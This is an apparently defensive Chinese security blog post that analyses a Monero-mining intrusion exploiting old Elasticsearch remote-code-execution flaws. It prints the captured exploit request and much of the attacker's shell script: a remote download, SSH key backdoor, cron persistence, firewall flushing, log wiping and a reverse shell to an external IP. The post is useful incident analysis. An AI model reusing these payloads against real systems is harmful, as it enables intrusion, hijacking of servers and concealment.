利用ElasticSearch漏洞挖矿案例分析

bt0sea 系统安全 2019年3月4日发布
Favorite收藏

导语:在开两会的前期,保证国家各个方面的稳定的事都提到日程上来,政府部门对互联网公司的监控也进入了严打阶段。在这样的大背景下,公司内部也对包括公共安全信息泄露做了一次大的排查,在此过程中,发现了一些案例,分享给大家。

0x00、前言

在开两会的前期,保证国家各个方面的稳定的事都提到日程上来,政府部门对互联网公司的监控也进入了严打阶段。在这样的大背景下,公司内部也对包括公共安全信息泄露做了一次大的排查,在此过程中,发现了一些案例,分享给大家。

0x01、入侵手段

对于mongodb、redis等数据库的攻击已经讲的非常多了,今天给大家分享的是针对不安全的Elasticsearch集群的攻击。这些攻击利用CVE-2014-3120和CVE-2015-1427。这两种攻击仅存在于旧版本的Elasticsearch中,并利用将脚本传递给搜索查询的能力。把有效攻击载荷存储在里面并且执行。

态势感知-网络入侵防护系统中,对相关的入侵有检测功能,策略如下:

1、ET WEB_SERVER Possible CVE-2014-3120 Elastic Search Remote Code Execution Attempt

2、ET WEB_SERVER Possible CVE-2015-1427 Elastic Search Sandbox Escape Remote Code Execution Attempt

通过入侵检测系统,可以获取到有效的入侵载荷。

"POST /_search?pretty HTTP/1.1
Host: xxx.xx.113.xxx:9200
User-Agent: Go-http-client/1.1\r\nContent-Length: 208
Connection: close\r\nAccept-Encoding: gzip

{
    "size": 1,
    "script_fields": {
        "lupin": {
        "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"wget http://207.148.70.143:8506/IOFoqIgyC0zmf2UR/uuu.sh -P /tmp/sssooo\").getText()"
        }
    }
}

我们分析一下攻击载荷都干了什么事。

1、关闭SElinux,干掉现有挖矿进程

#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
...
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "[email protected]"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
...
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
...

2、在crontab添加定时升级程序,添加自己C2主机的ssh key,下载挖矿配置文件,配置防火墙、删除日志、开启反弹shell。

if [ -f "$rtdir" ]
    then
        echo "i am root"
        echo "goto 1" >> /etc/devtools
        chattr -i /etc/devtool*
        chattr -i /etc/config.json*
        chattr -i /etc/update.sh*
        chattr -i /root/.ssh/authorized_keys*
chattr -i /etc/systemctI
if [ -f "/usr/bin/crontab" ]
then 
[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/10 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
else
 echo "*/10 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
fi
        chmod 700 /root/.ssh/
        echo >> /root/.ssh/authorized_keys
        chmod 600 root/.ssh/authorized_keys
        echo "ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAABAQDPK+J+AIJvoCX67fFzfbNU5MT816KDmggltbgEI0hKZRdmMMe1ao/3CEgIzeqGbTff1suT/F1POUjGrf5t/ZqyIJzCIBKqNsxzM4tRNxrIGrqKnZypRlXdX+uZNaxmNJZGkkmtdeseekped0WnWk5SsvbYghBn4y9lZnsO+C1EgjLNWkbRPuoo/RkWTIXDmB7M7UcfYf+sSpApACt8DRydSEkeY709WtL0aANnN057Wnp/Okv+buM4mnkuteLtZvCAySt7PVBrCKyhItZx9VX/TMegljt/UPDaKfAeWF14Q1ORLRQkzZt9k+pY/ccNNbS53OmG0NhQ/awchmgXUpsP [email protected]" >> /root/.ssh/authorized_keys
        cfg="/etc/config.json"
        file="/etc/devtool"

if [-f "/etc/config.json" ]
then
filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
if [ "$filesize_config" -ne "3629" ]
then
rm /etc/config.json
        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 100 http://207.148.70.143:8506/IOFoqIgyC0zmf2UR/config.json > /etc/config.json
                        elif [ -f "$bbdira" ]
...
        fi
pkill -f devtool
else
echo "no need download"
fi
else
    ...    
fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
bash -i >& /dev/tcp/207.148.70.143/8888 0>&1

3、挖矿配置文件

{
    "algo": "cryptonight",
    "api": {
        "port": 0,
        "access-token": null,
        "id": null,
        "worker-id": null,
        "ipv6": false,
        "restricted": true
    },
    "asm": true,
    "autosave": true,
    "av": 0,
    "background": false,
    "colors": true,
    "cpu-affinity": null,
    "cpu-priority": null,
    "donate-level": 1,
    "huge-pages": true,
    "hw-aes": null,
    "log-file": null,
    "max-cpu-usage": 90,
    "pools": [
        {
            "url": "xmr.f2pool.com:13531",
            "user": "83p6VPXu8SsZsH22EG9iQxg97M6K81Jft1CGXYwrVgkSa45KQm6Dau9HN6w3oroHKfJkzL2298CVD41eejCvJTd76Grq9wd.gbgbhft656561",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "variant": 8,
            "tls": false,
            "tls-fingerprint": null
        },
{
    "url": "xmr.pool.minergate.com:45700",
    "user": "jbk665q8hws5vxv",
    "pass": "x",
    "rig-id": null,
    "nicehash": false,
    "keepalive": false,
    "variant": 8,
    "tls": false,
    "tls-fingerprint": null
}
    ],
...

攻击链分析:

1、CVE-2014-3120 / CVE-2015-1427  远程执行漏洞。

2、ssh key 文件变更 /contrab 文件变更。

3、反弹shell/执行挖矿进程。

0x02、防范措施

把以上攻击链分析,放置到大数据关联引擎中,自动化攻击匹配时间在1分钟之内。同时把有关联的数据加入到观察列表中,以备日后APT攻击分析。当然你也可以把这种确定的攻击和反制措施联动起来(防火墙、IPS、ACL等)。

本文为 bt0sea 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址: https://www.4hou.com/system/16508.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论